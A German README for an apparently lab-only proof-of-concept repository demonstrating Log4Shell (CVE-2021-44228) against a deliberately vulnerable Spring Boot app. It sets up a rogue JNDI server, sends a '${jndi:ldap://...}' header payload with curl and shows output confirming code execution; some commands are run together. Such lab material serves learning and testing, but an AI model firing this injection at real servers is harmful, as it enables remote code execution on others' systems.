kadantte/cve-2021-44228-poclog4shell-Beispielanwendung (CVE-2021-44228)
Dies ist eine fast identische/ähnliche anfällige Anwendung wie https://github.com/christophetd/log4shell-vulnerable-app
Die Hauptunterschiede sind Maven anstelle von Gradle und die Verwendung von rogue-jndi.
Dieses Repository enthält eine Maven Spring Boot Webanwendung, die anfällig für CVE-2021-44228 ist, auch bekannt als Log4Shell.
Es verwendet Log4j 2.6.1 und JDK Version 1.8.0_181.
Erstellen und ausführen der Docker Springboot-Anwendung:
docker build . -t vulnerable-app
docker run -p 8080:8080 vulnerable-app
git clone https://github.com/veracode-research/rogue-jndicd rogue-jndimvn packagejava -jar target/RogueJndi-1.1.jar --command "touch /tmp/test_if_rce" --hostname "192.168.1.x"Öffnen Sie ein zweites Terminal
curl localhost:8080 -H 'X-Api-Version: ${jndi:ldap://192.168.1.x:1389/o=reference}'Wobei in beiden Fällen 192.168.1.x Ihre IP ist
HINWEIS: Verwenden Sie nicht localhost, sondern Ihre tatsächliche private IP-Adresse.
Überprüfen Sie nun, ob RCE erfolgreich war:
$ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
04536dbd1dff vulnerable-app "java -jar demo-0.0.…" 2 minutes ago Up 2 minutes 0.0.0.0:8080->8080/tcp, :::8080->8080/tcp gallant_easley
$ docker container exec -it 04536dbd1dff ash
/opt/app # ls /tmp
hsperfdata_root tomcat-docbase.8080.4585569232401237075
test_if_rce tomcat.8080.1707298461175346507
Wie Sie sehen können, existiert die Datei test_if_rce. Das bedeutet, dass RCE erfolgreich war.
Code und Ideen wurden aus den folgenden Repositories verwendet: